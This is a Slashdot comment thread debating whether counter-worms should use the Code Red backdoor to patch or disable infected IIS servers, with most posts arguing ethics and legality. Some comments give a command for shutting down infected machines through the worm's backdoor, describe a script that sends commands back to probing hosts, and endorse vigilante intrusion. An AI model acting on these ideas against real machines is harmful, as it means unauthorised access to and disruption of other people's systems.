    Good quote, too many chars. Seriously, the slashdot 120 char limit sucks!
    1. Re:DirectTV hacked the hacker.... by Coq · · Score: 2, Insightful

      Ok, what direcTV did is not exactly the same. They were much nastier. also, the people who were effected by direcTV were not hosts to some virus. They were willing participants. An equivalent would be the DVD CCA putting out a virus to kill DeCSS. If a company like microsoft were to do something like this to viruses, it would only close the door for that virus. It wouldn't kill the machine, or write "Game Over" or anything fun like that. It also wouldn't close any other doors, as they would still be unknown. As far as an arms race goes, it would be no different than now. Except, now that I think about it...

      Virus writers would close the door they came in in advance and write in another door that would be extremely hard to find. The worm would still infect other machines, and it would be a very long time before the other back door kicks in. People would think the worm they got was a purposeful fix worm, when in actuallity it only would be a matter of time before it became a zombie. Now that would be a smart virus. Of course, the hardest part would be giving the new back door the functionality needed while effectively hiding itself.

      --
      Information wants Coq
    2. Re:DirectTV hacked the hacker.... by IronChef · · Score: 2


      Dish Network sent down an ECM that destroyed the satellite receiver -- it didn't mess with the card, which is Dish's property -- it rewrote the receiver's flash with a new program that locked out all the channels except for a "stop stealing TV" message. Many people who were using an emulator board without locking the flash RAM in the unit got their boxen cooked but good.

      I think that DTV's card-melting is kosher, they do state that the card is their property. (as does Dish.) But Dish frying your personal hardware -- whoa. That seems to cross a line, even if you are using it to pirate TV. Ethically, it seems to be a much more questionable activity than releasing an anti-virus virus.

    3. Re:DirectTV hacked the hacker.... by seann · · Score: 0

      come on
      that was the exact same thing
      what if MS sent out an automated patch to everyone on the internet that was registered to their service, and patched their machines?
      huh?

      Think before you type.

      --
      I'm a big retard who forgot to log out of Slashdot on Mike's computer! LOOK AT ME.
    4. Re:DirectTV hacked the hacker.... by Anonymous Coward · · Score: 0

      Moderate above to -1 Flaimbait. That poster is obviously infected with Code Red.

    5. Re:DirectTV hacked the hacker.... by wackysootroom · · Score: 1

      The only thing that DirectTv 'Hacked' was thier own equipment. There is a world of difference between unleashing a plague of an 'anti-virus virus' which if not coded immaculately carries its own implications ala the Xerox friendly network worm experiment that rendered the network useless. What Dtv did was totally legal because they were not electronically trespassing.

  160. Have we already forgot the Cheesy Worm? by hubie · · Score: 2
    Recall that there was the "white hat" Cheesy Worm that fixed the "linux worm" or "linux virus" (or however the BIND worm was misreported).

    See this link for examle.

    1. Re:Have we already forgot the Cheesy Worm? by Anonymous Coward · · Score: 0

      Lion Worm had a variant that would patch your system for you. Do you really want anyone else being able to root your box? How much do you trust roving code?

  161. Re:Its entirely possible by Anonymous Coward · · Score: 0
    I'm sure folks will scream its illegal and it probably is - but can't a case be made for 'self defense' I mean if someone brandishes a gun at me am I not within my rights to shoot them or at least take their gun away?

    Clue: threatening someone with deadly force and cracking their webserver are not even remotely of the same magnitude.

  162. The MacOS Autostart worm by SirDrinksAlot · · Score: 1

    A while back there was a vicious little bugger going around called the Autostart worm, it was evil. It made its way onto CD's and across networked macs. While this was happening MacAddict released a CD and it was infected. but curiously enough, it was a good worm. (i wonder how it got there!) Said worm would Infect your machine and spread like the others, but the main differnce was it would remove other autostart worms and destroy it self after Christmas day.

  163. It's not 'virii'! by The+Wing+Lover · · Score: 2, Insightful
    ...it's Viruses. VIRUSES! VIRUSES!

    check out http://www.cknow.com/vtutor/vtplural.htm for more information...

    (rant mode off)

    --

    - In Capitalist America, law violates YOU!

    1. Re:It's not 'virii'! by Anonymous Coward · · Score: 0

      Thank you for a little bit of sanity in this pseudo-intellectual world of Slashdot.

  164. Darwinian Predator - Prey relationship on the net by hillct · · Score: 5, Insightful

    So now you have a bunch of viruses, and counter-viruses roaming the net. This is not so bad until you have self-mutating viruses and antigens, several generations down the line. Eventually chaos theory will dictate that the nature of the relationship has become so complex as to be unknowable. This is a pandoras box we don't want to open. It's similar to the human cloning issue, in that there are a lot of good arguments not to do it, but there's one overwhelming argument for making it legal, lincensed and monitored; that is, if it's not legal, those who choose to pursue it will not be hindered in that activity, but will be forced to pursue it without oversight, while in hiding and possible in poorly controlled conditions.

    All you can do here is appeal to the logic of those who would pursue such an activity and suggest that they not undertake it, but regardless of how much you argue, convince and suggest, someone will eventually do it and there will be severe concequences - not all negative, but severe, with respect to how we look at technology and how we use it.

    It could further be argued that those against such undertakings, need to ajust to changing technology and make the appropriate changes to their world view. This is what the recording industry is having to do, as well as companies in other well established industries. The same will eventually be true of how we look at software design (computer viruses), and biology (human cloning).

    --CTH

    --

    --Got Lists? | Top 95 Star Wars Line
  165. Its called a patch, jeez by Cheesy_Poof_Man · · Score: 1

    A patch can do the samething w. less potential of harming the user's machine. If they just got off their lazy asses and dl'ed it instead of waiting for someone else to do it to them.

  166. Worms Are People Too by noelbush · · Score: 1

    This only shows how words like "worm" and "virus" are inadequate metaphors already stretched to the breaking point. The fact is that a worm or a virus or any other piece of software is not a separate entity that "goes out and does something" -- it is you. If you write a worm that is meant to propagate through the net and alter something on other people's property, it's you that is doing all the damage, not the worm. Any computer program is just a cybernetic extension of your own limited capabilities to make decisions and take actions.

    Vigilantism is generally considered to be an enemy of a civil society. You have no more right to trespass onto other people's property to battle a worm-writer than the worm-writer has the right to do the initial trespassing. The implicit agreement among system administrators across the net that hacking to find security holes is an acceptable and beneficial exercise is long gone, ever since the net became a commercial field. A commercial field has a different structure of trust, one in which vigilantism can play no part.

  167. The law's not on your side by anonpoet · · Score: 1

    The last guy that tried that went to jail. I wish we could. I could fix code red in two hours.

    1. Re:The law's not on your side by Anonymous Coward · · Score: 0

      Yeah, you go patch microsoft.com with the Apache patch and see if you get sued or not... AC

    2. Re:The law's not on your side by kraig · · Score: 1

      I can see being sued for it. Your worm that connects to my system and patches it for me is just as wrong as somebody else's worm that connects to my system and infects it for me. You're using resources without permission, for one. You're also opening yourself to litigation: what if your patch breaks something in a mission-critical server? Yes, that server should have been patched versus Code Red long ago, but that doesn't give you the moral right to fix it for me. ("You" is being used here in the generic sense, not in the sense of "you, acidrain, to whose post I am responding".) I would feel just as free to submit generous LARTs to somebody who was "just trying to help" as I would to somebody who was proving their manlihood before the "virus writing community".

  168. Innoculation worm by Demon-Xanth · · Score: 1

    I've been wondering why this worm doesn't exist: It sends itself to everyone in your email list It disables outlook running .vbs, .com, .pif, and .exe attachments It disables .vbs files for the whole system

    --
    If you think education is expensive, you should try ignorance -- Derek Bok, president of Harvard
  169. Re:Because of this the internet is dying.. by cybrthng · · Score: 2
    well, there is more then slashdot, bsd and such, but our freedoms are definatly going..

    i live to see the world, be there for my family, and be who i am, but the governement and monopolies sure are good at fudging things up.

  170. I keep saying the same thing by Anonymous Coward · · Score: 0
    Only goddamn computer geeks say "virii" because they think they're being clever, trying to impart a Latinate conjugation onto an English word.

    Any time anyone says or writes "virii" you know you're dealing with someone who'd rather appear clever than correct.

  171. Get off of your high horses. by fmaxwell · · Score: 2
    I don't care about the legality, ethics, morals, etc. of this. If some idiot, after weeks of warnings in the popular press, still has not installed the patch, he better find a way to keep from the virus on his system from attempting to infect my computer. Otherwise, his system is fair game as far as I am concerned. Since the legal system is not punishing these people, I might.

    Let's also drop the insane analogies comparing this to someone threatening a family member's life. It's just a bunch of computers.

  172. Re:There is another way... by friscolr · · Score: 4, Informative
    You don't need to do the lookups/etc yourself. You can help security focus send out the mail.

    from the bugtraq post:

    To: BugTraq
    Subject: Infection Notification
    Date: Sun Aug 05 2001 10:50:22
    Author:
    Message-ID:

    If you'd like to help us notify users they are infected please send offending IP data to aris-report@securityfocus.com. Please use the following format:

    IP ADDRESS DATE/TIME WITH TIMEZONE

    Or something similar to this. Please ensure the information is constrained to IP address and date per line as we do our notification automatically and our systems need to be able to understand the data you send us.

    --
    Elias Levy
    SecurityFocus.com
    http://www.securityfocus.com/
    Si vis pacem, para bellum

    ---end bugtraq post---

  173. Err by Anonymous Coward · · Score: 1, Insightful
    ... exploited the back door, closed it, then started sending itself to other servers for a certain period of time?

    Anybody think about the bandwidth implications of this? We'll have anti-viruses counteracting viruses, viruses counteracting the anti-viruses, etc. This will all eat up bandwidth just as bad as Sircam and Code Red have.

  174. isnt it there own fault by womby · · Score: 1

    while I do agree it is there own fault for picking such a useless product, the idea of fighting fire with fire is an interesting one. but who would want to tread the thin line and do it.

    why would symantic or network associates want to do it. there would be less reason for people to buy there products. if a "whitehat hacker" (I hate that term) decided to make the anti virus we can guess that the fbi would be sent down to beat down his / her door because obviously he / she is a hacker who must be stoped

    --
    **** lying is wrong even for sleeping dogs
    1. Re:isnt it there own fault by Anonymous Coward · · Score: 0

      --it is there own fault for picking such a useless product-- useless? have you yourself used IIS/PWS? do you know the benefits/costs? dont say one of the costs is the fact that it has a hole, all software has some sort of hole. if you're gonna call something useless you better define how it is useless or just admit that perhaps your evil adversary microsoft does make some useful products. i am by far no bill gates worshiper yet even i recognize this.

  175. It doesn't cost a dime to pay attention... by miked50 · · Score: 1

    Why not let the sysadmins who chose to use IIS keep up with the latest security patches and such? There was so much hype surrounding Code Red that no one should have been severly affected by it. Surely if your sysadmin is worth his salary he will keep up with the latest news... I'm not saying that he/she know every security hole and exploit out there, but they should try to keep track of the big ones at least

    That's just my $0.02

  176. Illegal by 3prong · · Score: 4, Insightful

    I keep seeing people talk about how invading a server in some cases is legal, because "the intent was good". That is an incorrect interpretation of the word intent. Intent only refers to the crime itself, i.e. did the criminal intend to break-and-enter or was it accidental.

    This means that unauthorized access in the attempt to do a "good deed" is just as illegal as black-hat unauthorized access.

    For this to happen, someone with the antidote virus would have to break the law to spread it and apply it. Of course, Robin Hood was considered a criminal too.

    1. Re:Illegal by Genetically+Enginerd · · Score: 1

      You are correct about the legality, but there is the issue of mitigating circumstances. I would think that any prosecutor would think twice about going forward with a case where it would be very difficult to find a jury that wouldn't be sympathetic to the perpetrator, especially if the worm was actually shut down.

      On the less serious side, some suggestions have shown the use of the backdoor to pop up a page in their browser. Have that page state something like

      "Excuse me, but we have noticed that your system has been infected with the CodeRed virus. We are offering a complete solution to the problem. If you do not wish to participate, you may OPT-OUT of this offer by clicking the 'Yes - I do not want to participate' or the No - I want to participate' buttons below."

      Have about a 3 second timeout on the window. Tell the judge it was an honest programming error and you wanted to give them 3 hours and you had issued a patch notice, but nobody had applied it.

      --
      Does the income I've derived from working with Unix belong to SCO?
  177. Yet another metaphor by Anonymous Coward · · Score: 0

    Here is my throw at the metaphor stakes... Its like someone comes to your home and breaks you coffee maker, then finds the address of all your friends and visits them, if they have a jar of 'Outlook Expresso' in the kitchen, then they break that coffee maker. Now awear that this person has visited your house you become enraged enough to set out for revenge. You start by visiting all you friends and try to fix their coffee makers (even if their not broken) and then move on to visit their friends. Now the question is... which note do you leave on the kitchen table. a) a note saying a) Hay Joe I fixed your coffee machine b) Hay joe I fixed your coffee machine, sorry for breaking it in the first place c) Hay Joe you owe me $40 for the visit I like the E-Ambulance chasing option.

  178. Re:Darwinian Predator - Prey relationship on the n by Coulson · · Score: 1
    I think we're still a long way from the idea of self-mutating pathogens. These exploits are too specific and technical for a virus to change its infection vector. Only the payload is likely to mutate, and the retroviruses are targetting/patching the infection vector. No matter how many ways the nasty payload changes, it's getting onto the system in the same fashion. If that hole can be patched, it doesn't matter what the virus mutates into; it can't infect the host.

    Imho, retroviruses are an elegant solution to a serious problem. Though they only stop a single type of virus (whereas education can help stop ALL viruses), they're a powerful tool.

    I will dance for joy the first day I see an easy-to-use anti-virus creator package, to combat the virus writer packages out there.

  179. Check your logs - Someone's already doing it by Anonymous Coward · · Score: 0

    I just took a sample of the addresses in my access_log over the past hour. At least 50% of them don't respond. Most of the one's that do don't respond to root.exe (some did so I know I did it correctly)

    Seems to me like someone is already taking matters into his/her own hands...

  180. Bad, very very bad idea by friday2k · · Score: 1

    Once you do this, you are changing THEIR computers. And you might be a known entity. And their lawyers will be all over you. It is the same whether the system is infected or vulnerable. You are changing what belongs to somebody else. And that puts you in the same position as the author(s) of the CRs.

  181. Re:Already been done by Mals · · Score: 1

    Yeah, where is this script! This would make me a very happy man and it would certainly help reduce the load on my poor linux machine that is being hammered by those damn Win boxes! In a weeks time, I have received over 2800 attacks and I'm not even a large corporation just a cable user. This is ridiculous!

  182. ISP Level by TwistedTR · · Score: 1

    Could not something like this be done at an ISP level? With simple monitoring finding an infected machine could be done quickly, then the machine is removed from the network or it's outbound traffic is disabled while either the ISP calls the client or an automatic email is sent telling them of the problem? It's not a virus at all so it would be legal, and the only downside would be a temporary loss of service until the sysadmin of the infected machine gets off his ass and downloads the patch thats been blasted on the tv/paper/radio for the last 2 weeks. People may complain that denying inet service to them because their machine is infected is a bad idea, but in a sense they are as bad as the virus creater themselves when they knowingly continue to let a machine run thats spreading a potentially very evil bug to spread.

  183. Update worm by stevew · · Score: 1

    At my place of employment we're constantly receiving email based virus attacks from people that insist on running Outlook. We've jokingly came up with what we called the Update worm. The spec for this would be to detect if the user is using the virus spreading outlook, then download the free version of Eudora. Once that was accomplished it would transfer all the mail over to the Eudora format, then change all the desktop links, etc to point at Eudora instead of outlook. Then - remove Outlook!

    Only a joke mind you - never implemented!

    --
    Have you compiled your kernel today??
  184. Hasn't this already been discussed. by client32 · · Score: 1

    If my memory serves there has been a "good" worm set loose to fix problems caused by a "bad" worm. Here is the slashdot article on it.

  185. Because... by 11223 · · Score: 5, Insightful
    Everybody with the ability to do something like that and the lack of ethics to consider it realistically actually wants the rooted boxes for themselves?

    Seriously, folks, everybody who *could* write something like that either (a) recognizes that infecting someone's box is infecting someone's box, closing holes or not or (b) sees no problems in having the rooted boxen out there anyway. I doubt that anybody else actually has the skills to do it.

    1. Re:Because... by Yottabyte84 · · Score: 1

      They might have a reason for having thier door open, But thier box has bo good reason to have a big fat security hole.

    2. Re:Because... by esper · · Score: 1
      Nonsense. Sending an HTTP request is trivial and every person reading this is capable of it. (How do I know? Because you sent an HTTP request to get this page.) Manually sending a command to any infected machine that probes you would be trivial, using only information which is within post #12 above.

      Automating it would be a little trickier, but still well within the grasp of anyone who has done a little CGI programming. Just drop in a script named /default.ida which sends an appropriate series of commands via HTTP to the requesting host.

      So much for your ability argument.

      The ethics side of it is, admittedly open for more debate, but I disagree with both your (a) and (b) statements. I have no ethical problem whatsoever with using an existing back door to de-root a box. On the contrary, I believe that it would be a good thing to do. If you're walking across a parking lot and see an unattended car with one door not-quite-closed, is it unethical to close it? Why is it OK to secure someone else's car, but not their computer?

      I have the ability and the belief that disabling the infection is the right thing to do. The only reason that I haven't set up a script to clean up infected servers is because I believe that the legal system would frown upon such activity and I don't want to waste my time rotting in a prison cell.

    3. Re:Because... by IronChef · · Score: 2

      What we need is a body that examines, approves, and introduces counter measures.

      Microsoft for example, could include in the license agreements for the next outlook an agreement to allow MS to apply counter measures.


      That is actually a great idea. If only MS could catch a clue these days. (then again, maybe it is all part of their master plan!)

    4. Re:Because... by Anonymous Coward · · Score: 1, Interesting
      Ohh, I disagree.

      Most all of these virii/worms that have come out are childs play to a decent programmer.

      It really comes down to the ethics of it. I've even offered to my company that if they back me legally, I'll do it with the next one for the publicity.

      Obviously, this is not proper motive.

      It certainly can be argued however, given the virulence of Code Red and the new strains on new exploits that have been inspired, it may eventually be the only way to rid the net of it.

      You can say, sure let them disinfect their own boxes, but what about when it kills bandwidth? It may have been very localized this time, but wait till next time.

      Putting a server on the net is accepting responsibility for it. Unfortunately, alot of admins either don't see it that way, or are incompetent.

      What we need is a body that examines, approves, and introduces counter measures.

      Microsoft for example, could include in the license agreements for the next outlook an agreement to allow MS to apply counter measures.

      For this to really be effective though, we need a more global solution.

    5. Re:Because... by Coulson · · Score: 1

      I have to humbly disagree. I think it's a great idea and I hope to see it done, and have considered doing it myself. I recognize that infection is infection, but the box is *already compromised*. I see no problem with coming in through the same already-used exploit to *clean* and *disinfect* the host. What's wrong with doing good? They're already broken and are actively attacking other boxes. Why not fix them before they infect other people?

  186. Re:yalla fp by Deijpimp · · Score: 0

    not

    --
    BTW has anyone seen my zig zag?
  187. Re:Its entirely possible by BlueUnderwear · · Score: 2
    > I haven't heard from a single client who has actually had downtime from it.

    At work, we had a Lotus Domino server that would crash whenever someone requested an non-existant Web URL from it (don't ask...). As most access to it are done from programs, or from links & bookmarks, this hasn't actually been a problem until recently...

    Since the beginning of August it started crashing every hour or so, making it rather difficult to work with. Then, this week it crashed every ten minutes... Initially we assumed that unknowingly a coworker was mistyping an URL, or doing some bizarre tests which crashed it. Then we understood what was really happening: it was CODE RED! Does that qualify as client having downtime due to Code Red?

    However, in retrospect, this whole story had a good thing to it: it encouraged the guy in charge of Notes to find out why exactly it was crashing when asked for a non-existing URL... And he did indeed find the faulty config option and fixed it.

    Ok, now on the next task: another of our Domino servers crashes whenever somebody enters a bad password into the HTTP password dialog box for protected pages (yeah, yeah, I know...). Now that the weekend is approaching, and the kiddies are putting their final touches onto their new creations, could somebody please include an Authorization: Basic Tm90ZXM6c3V4b3Jz0 into the HTTP headers of the probes of his Code Red III, so that we have an excuse to fix that problem too? ;-)

    --
    Say no to software patents.
  188. It costs a lot to pay for other's inattention by dingbat_hp · · Score: 1

    Why not let the sysadmins who chose to use IIS keep up with the latest security patches and such?

    They aren't the ones with the problem:

    • Those getting thwacked often don't even know it has happened.
    • Code Red is causing more trouble by traffic swamping than it is by nuking some IIS boxes that the admins clearly weren't all that concerned about. This affects everyone, even those who kept their boxes clean.
    • If you're an admin in a large organisation, you'll be knee deep in Code Red hassle from desktop boxes you didn't even know existed. M$oft think everyone needed to be running a web server. I wouldn't be surprised if M$oft Barney had an embedded copy of Exchange in it (probably with XML and .NET extensions too). Pervasive intelligence is great, but not when it's coded by the clueless and security-inept morons of M$oft.
  189. Re:Its entirely possible by ryanvm · · Score: 4, Funny
    I'm sure folks will scream its illegal and it probably is - but can't a case be made for 'self defense' I mean if someone brandishes a gun at me am I not within my rights to shoot them or at least take their gun away?

    The problem is that 'self defense' only exists in a situation where your personal safety is at risk - like the above scenario.

    It's like asking: If someone is breaking into your house to use your coffee maker, are you allowed to kick down their door and throw away all their coffee?

    Basically, you can't violate someone else's rights unless your own safety is in danger.

  190. Re:I Hope You Keep Bail Money Near Your Gun OT by Evil+MarNuke · · Score: 0
    If you were a burglar in the UK you were (and are) very, very unlikely to get shot even before the "draconian" gun laws came in.

    Now he can just walk right in with his own gun, steal what ever he like, rape the wife, all without a fear of being shot killed.

    --
    The journey is better then the end.
  191. See Everything2 by l-ascorbic · · Score: 2, Informative

    That seems a bit like overkill. There is an Everything2 node on this subject with some simpler PHP code samples, including (full disclosure) one by me.

  192. Re:What if my 'default.ida' was a program? by krogoth · · Score: 1

    This sounds like a fun passive attack, but how well would it stand up if you were sued? Sure, if you put up a script on your site to clean servers that's completely legal, but when you go out of your way to rename it in a way that will trigger it when a server tries to attack you that could be seen as an intentional attack (no better than going through your logs and manually cleaning each IP). btw, can anyone point me to one of these scripts? :)

    --

    They that quote Benjamin Franklin on liberty and safety deserve neither.
  193. They'll never learn by kimihia · · Score: 1

    Look, the people who are infected are too dumb to look after something as critical as a web server. The reason they got in trouble was because they were too dumb to keep up with patches. Don't go and do their work for them, or they will never learn.

    What is the best way to learn? With a parent blasting you for a huge bandwidth bill. For your boss firing you for letting the company's database get owned. Having customers ripping you to shreds for destroying something important.

    Not until they realise the severity of their actions will they begin to learn. Let them stew in their own "security patch" juices for a bit, and when they are done, pull them out and point them at alternatives.

    As someone said before, otherwise you will hear conversations like this:

    • Hey Bob, you fixed your server for that worm thinga-me-doo-what?
    • Na Dave, I'm just waiting for the worm that patches it to come past. Someone will write one soon.
  194. I'm Batman by Punto · · Score: 2
    I don't get it. We all think Batman is cool, but mobody likes the idea of a virus fighting against evil?

    Of course, the author can't go around claiming responsability (or posting stories on slashdot), that's not cool.

    --

    --
    Stay tuned for some shock and awe coming right up after this messages!

  195. Good stuff... still avoids the real issue by Anonymous Coward · · Score: 0

    Whereas an anti-virus circulating around is a great idea (thought about that briefly a few days ago), I would suspect that the vast majority of webmasters/sysadmins have patched their systems. The problem lies in all those people running w2k with no knowledge of what IIS is, or that it might possibly be installed on their computer. Having seen the flurry of news on Code Red, I browsed back to localhost on my w2k box and found that I had IIS installed. (Fortunately, my w2k box isn't on a net connection) What really needs to be done is to inform all the uninformed that any NT or w2k box needs to be checked for IIS. If people are using the default installations, they are bound to have IIS installed without their knowledge...

  196. Bad Idea by Anonymous Coward · · Score: 0

    If you did that then the hacker that created code red might sue you for reverse engineering his code and distributing it! If the hacker lives in California then you are really screwed no matter where you are from.

  197. Go ahead and do it. by atrowe · · Score: 2, Informative
    I don't see why it couldn't be done. The CodeRed worm has already been modified several times and re-released. The original source can be found here

    Google cache because it looks like the original site has been remove.

    I suppose that it would be possible to use the ISAPI filter vulnerability in IIS to get into a system and patch that very same vulnerability. Maybe someone who knows more about this can clarify.

    --

    -atrowe: Card-carrying Mensa member. I have no toleranse for stupidity.

  198. Fighting fire with fire? by Drakino · · Score: 2

    Making a worm to fix the worm is just going to create more problems. My main slowdown of service comes from all the ARP requests from the think scanning my neighboorhood.

    Instead, (idea from another ./ reader) make a CGI script called default.ida that fixes just that machine that tried to attack your server. Make sure it can deal with Code Red 1, otherwise once 2 is dead, 1 will be able to swing back easially to the unpatched servers. Also make sure it sends a bill to the company for "IT Consulting".

  199. This reminds me of the Fish Virus.... by AhNewBis · · Score: 2, Interesting

    The Fish virus, IIRC, would remove the Stoned/Michaelangelo virus if it was found, and then infect the machine itself.

    Further info about the virus is found here from Datafellow's virus database.

  200. Interresting solution. by CaptIronfist · · Score: 0
    However, this would still eat up bandwidth. How would you tell that virus to cease it's activities in the end?

    $virus->terminate() if($virus->end()); ? ;)

    I mean it's still a virus and would still scan to propagate itself even though all systems are safe and secure. That just pushes the problem to a another layer.

    There's a simple solution to every problem...

  201. Fixing the Lion Worm by OutOfMind · · Score: 1

    Our local sysadmin & I discussed this when the "fixing" worm first hove into view: it was a rather "on one hand/on the other hand" kind of conversation.

    On the one hand, you really don't want other people, however benignly, messing with the state of the software on you boxen (you should always know what the state of your software is). On the other hand, it had been 3 months since the patch for the lion worm came out -- at that point, you kinda feel that the responsible people should be up-to-date, and maybe the irresponsible ones could use some help.

    I guess, in the end, that the possibility that the "fixing" worm could contain bugs that might just make things worse is about the best argument for not doing this.

    ~k
  202. Re:I Hope You Keep Bail Money Near Your Gun by Anonymous Coward · · Score: 0

    I disagree.

    He may just be a burgular, but how do you know he isn't plotting to murder you and rape your wife after he picks up the good stuff? If I know those are his intentions I'll shot him in a second and take my chances with the law, and if I'm not sure I probably won't shoot on sight but one wrong move and he's dead.

    A vigialante society would be one that would not wait for due process of law after a crime has been committed. What we are talking about here is defending home, family, and self, which is NOT a crime but a fundamental right. I have the right to self defense, and if someone is in my home on some unknown mission I'm not interested in letting him do whatever and then let the law take care of it. I'm going to stop him, doing whatever it takes to do that. I'd say that right is absolutely fundamental.

  203. I said this before ... by LoudMusic · · Score: 0
    I made this comment last week and got modded down. AVENGE ME!

    Good virus

    ~LoudMusic

    --
    No sig for you. YOU GET NO SIG!
  204. Attack the worm with a bat, not another worm... by Anonymous Coward · · Score: 0

    Ethics, smethics...if someone breaks into your home, it seems reasonable to hit them over the head with a bat. So why not whack any machine that tries to attack your machine (whack == exploit the same hole to patch them such that they are no longer affected) The folks who think this is "unethical" probably wouldn't break into a house to stop a rape when they hear screams for help either... Doing nothing can be unethical sometimes too.

  205. Re:I Hope You Keep Bail Money Near Your Gun by operagost · · Score: 1
    If someone comes into my house and wants to take all my stuff, I'm going to shoot him and let the D.A. decide whether to prosecute. In this country, as a wise man said, we have a right to "life, liberty, and the pursuit of happiness". Requiring law-abiding citizens to allow any brigand to boldly stroll into a person's house and demand all their posessions denies me my rights. If pointing a loaded weapon at him doesn't make him realize the error of his ways, then that's not my problem.

    Maybe in places like the UK they don't mind that robberies while the owner is home have gone up since the draconian gun laws. I do.

    --

    Gamingmuseum.com: Give your 3D accelerator a rest.
  206. Understanding by virg_mattes · · Score: 2

    > Ethics is religion. Faith is not a Religion. You must understand the difference.

    I'm going to have to disagree on this point. Ethics and religion are very different things. They are actually not even directly related to each other. The link between the two is morality, to which both are related. To give an example, it's possible for an agnostic person to act in an ethical manner. Actually, it's possible for any person to act in an ethical manner. It's also possible for someone with a religious ideal to act in an unethical manner without violating his/her religious convictions (the Inquisition is an old example, but it fits, so I'll use it for ease). Religion is a belief system. Morality is a rule set based on the belief system. Ethics is adherence to generally accepted codes of behavior.

    And, in response to your second sentence, religion is specifically a belief system. So, while linguistically your statement is correct (one can have faith without a directed religion, such as "faith in the goodness of mankind"), by definition one cannot have a religion without faith.

    Virg

  207. Understood Consent by pyite · · Score: 1

    Something to this effect may have been said already. But here's a thought. Designate a port (one of the high ones) to accept a query equivilent to, "Do you allow to fix your computer?" where the secure key has to match a list of trusted ones. Granted, this may raise all sorts of privacy issues, but as long as it was consentual, and asked to the owner of the computer before being enabled at all, it might be alright. For instance, I'd allow the Debian security team to apply a patch to a hole in my system. This provides no technical basis to do so, as the hole is already there. Certainly no one with malicious intent is going to bother to ask in the first place, so it doesn't seem as if we have to worry about forged keys and the like. All it does is provide a simple response of "Yes; Date/Time; MyIP; YourIP; original request XOR constant". Nothing extravagent at all. If Microsoft was honest about it, and I think they could be, (security holes look bad enough, not being dirty about a good method to cover them up is smart) then stuff like this would be erradicated much more quickly.

    --

    "Nature doesn't care how smart you are. You can still be wrong." - Richard Feynman

  208. Re:You could do that, but don't! by Borogove · · Score: 1
    Not true. The difference between countervirus and virus is that the former closes up any loop-holes that can be used for further attacks. Sure, the cracker could reverse-engineer the countervirus and set off a new-variant virus to combat it, but by the time the new virus gets active, the size of the battle field will have decreased.

    Unless the initial virus leaves behind a back-door that the writer of the counter-virus didn't see, or the virus can mutate in such a way that it isn't destroyed by the counter-virus.

    --
    There has been a major scientific break-in
  209. Preferable method by Snowfox · · Score: 3, Informative
    I'd rather it used the IIS log file to try to spread itself to every system that had tried to infect it, then executed a
    %windir%\System32\rundll32.exe user32.dll,exitwindows

    (which you can do manually right now with the worm-installed back door.)

    Leave that going long enough, and the infected systems will just keep powering off until the IIS feebs get a clue.

    1. Re:Preferable method by Snowfox · · Score: 1, Interesting

      I'd rather it used the IIS log file to try to spread itself to every system that had tried to infect it, then executed a

      %windir%\System32\rundll32.exe user32.dll,exitwindows

      (which you can do manually right now with the worm-installed back door.)

      Leave that going long enough, and the infected systems will just keep powering off until the IIS feebs get a clue.

      p.s. - if you're gonna mod it - mod it as funny. In the real world, this is what we call a capital Bad Idea.

    2. Re:Preferable method by jspaleta · · Score: 2, Interesting
      I wonder what the legality of this is? Having the infected system which is attacking you power down, is not viral, and actually sounds like a very good disarming mechanism. In legal terms this seems like a very clear "self-defense" action aimed exclusively at stopping the illegal trespass. It's sort of like having tire spike strips in your parking lot to prevent people from coming in the wrong way

      You are allowed a certain modicum of property damage when acting in self-defence. How much damage you can do to the violator, is subjective and depends on the threat being presented to you and your property. I don't see how an non-invasive shutdown of the attacking system is out-of-line considering the threat to your computer system and to the larger community a virus represents.

      It's true that the polite thing to do is to just email the offending system's maintainer, but in situations where a virus has a potential to cause large material harm(i'm thinking virus infected machines as trojaned DoS zombies, or mail server clogging becuase of the virus spawned emails) you could argue that forcing an attacking infected server to shutdown is a legit self-defense action to prevent your own property damage. -jef

  210. Re:You could do that, but don't! by Mendax+Veritas · · Score: 1

    Using, presumably, the calculus of intentionality...

  211. Re:Its entirely possible by jcorkery · · Score: 1

    Actually, legal issues surrounding this may have already been addressed in the medical world. One of the original polio (I think) vaccines worked like this: the vaccine although "harmless" was still a contagious virus and thus if one person were vaccinated, people around that person could "catch" the vaccine. I don't remember too many of the details, but I do remember learning about contagious vaccines in an immunology course and I think polio was the first one and that it did work. However, I don't remember how long it was used for and whether or not contagious vaccines are still in use.

  212. Re:Its entirely possible by Anonymous Coward · · Score: 0

    This is why all diabetics, epileptics, retards, and junkies must be killed before they have a chance to threaten innocent people in their own homes. If they're such dangers, they must be at least locked up in institutions, both for our own safety and their own (better to lock them up than have them wandering into random homes and getting shot.)

  213. Microsoft's role. by hivolt · · Score: 1

    The main problem the anti-worm tries to solve is the slow response by computer administrators. Microsoft fixed its problem, but had to resort to using the press to get the average user's attention. What Microsoft could do is have a built-in Windows feature that tells the user when they should there is a patch they need to install. Perhaps ClipIt could pop up with a link to a Microsoft download page. This would not force the user to install anything he doesn't want to install, and at the same time it would cater to M$ users who don't want to spend time keeping up with computer security. Though they're using the user's machine to tell them about the problem, the user agreed to this by agreeing to use Windows.

    1. Re:Microsoft's role. by ahrenritter · · Score: 1

      They actually have this. It is called the "Windows Critical Update Notifier". It periodically logs onto Windows Update and checks to see if there are any new critical updates that pertain to your system and haven't been installed yet.

      --

      All I wanted was a rock to wind a piece of string around, and I ended up with the biggest ball of twine in Minnesota
  214. You could do that, but don't! by Mendax+Veritas · · Score: 4, Insightful

    A "white hat worm" of this sort could be made, but its deployment would be just as illegal as the original "black hat worm" it was created to fight. You're still making unauthorized use of someone else's computer. It doesn't matter that you have good intentions. And what if a bug in your code crashes some machines? How do you prove it wasn't intentional, and that your "white hat worm" isn't really a "black hat worm" in disguise?

    1. Re:You could do that, but don't! by AndroidCat · · Score: 1

      It's sometimes interesting to browse the infected sites. (After all, you know that they have a web server.)

      It looks like some people are already taking (unethical) action:

      http://64.50.103.8
      "Your system is infected with Code Red II and it attempted to hack my server. Please fix your server. "

      There's the clueless like http://64.230.195.33/ and http://64.230.33.150/ which are "Under Construction", so they probably don't even know that they're running IIS. ARRRGGH!

      A number of others fail with a too many connection. Busy little worm! Hmm... I didn't just /. those urls! :^)

      --
      One line blog. I hear that they're called Twitters now.
    2. Re:You could do that, but don't! by Anonymous Coward · · Score: 0

      How do you prove it wasn't intentional...?

      Formally.

    3. Re:You could do that, but don't! by bughunter · · Score: 3, Interesting
      Yes, that appears to be the prevalent ethical standard.

